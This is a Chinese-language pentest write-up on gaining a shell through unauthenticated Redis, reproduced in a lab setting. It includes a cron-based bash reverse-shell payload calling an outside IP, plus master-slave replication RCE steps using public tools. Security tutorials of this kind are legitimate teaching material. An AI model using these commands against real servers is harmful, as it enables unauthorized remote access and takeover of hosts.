前言:
當我們接到一個授權滲透測試的時候,常規漏洞如注入、文件上傳等嘗試無果后,掃描端口可能會發現意外收獲。
知己知彼乃百戰不殆,Redis介紹:
簡單來說 redis 就是一個Key-Value類型的數據庫, redis 所有數據全部在內存中進行操作,並且它可以將內存中的數據定期存儲在磁盤中,並且支持保存多種數據結構(String、hash、list等)。
運籌帷幄之中,Redis漏洞:
1、未授權訪問漏洞
Redis在默認情況下,會綁定在0.0.0.0:6379,如果沒有采用限制IP訪問,就會將Redis服務暴露在公網上,並且在沒有設置密碼認證的情況下,會導致任意用戶未授權訪問Redis以及讀取Redis數據並寫入公鑰進行遠程連接等。
當拿到數據庫權限是不會滿足我們的,我們的目標只有一個getshell!
目前較主流的兩個方法,第一種定時計划反彈shell、第二種利用主從復制rce。
2、定時計划反彈shell
1)set x “\n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n”
2)config set dir /var/spool/cron/
3)config set dbfilename root
4)save
3、利用主從復制rce
漏洞存在於4.x、5.x版本中,Redis提供了主從模式,主從模式指使用一個redis作為主機,其他的作為備份機,主機從機數據都是一樣的,從機只負責讀,主機只負責寫。在Reids 4.x之后,通過外部拓展,可以實現在redis中實現一個新的Redis命令,構造惡意.so文件。在兩個Redis實例設置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。然后在從機上加載惡意so文件,即可執行命令。
需要利用一個工具,GitHub下載即可。
1)git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
2)git clone https://github.com/Ridter/redis-rce.git
進而通過未授權訪問或者弱口令連接redis,執行腳本即可獲取shell。
決勝千里之外,實戰演練:
本次掃到了6379也就是Redis,有的時候可能或改默認端口,建議全端口掃描,本次利用主從復制rce獲取shell(由於該漏洞已提交src,簽約保密協議,故搭建靶機還原真實環境,保證原汁原味。)
攻擊端ip:192.168.109.134
服務端ip:192.168.109.136
通過未授權訪問連接redis(如果有密碼,可以嘗試爆破,authpassword 登陸系統):Redis-cli –h ip
利用主從復制rce獲取shell
首先要生成惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯即可生成。攻擊端執行:
python redis-rce.py -r 目標ip-p 目標端口 -L 本地ip -f 惡意.so
成功獲取shell
總結:
其實最難得還是需要細心,日常有授權測試的時候不要輕易放過任何數據包,以及一些js文件,它通常會給你帶來很多意外的驚喜。執着是好事,但是不能太鑽牛角尖,如果一個方面實在行不通的話,可以換條路走,畢竟條條大路最終都是通羅馬的。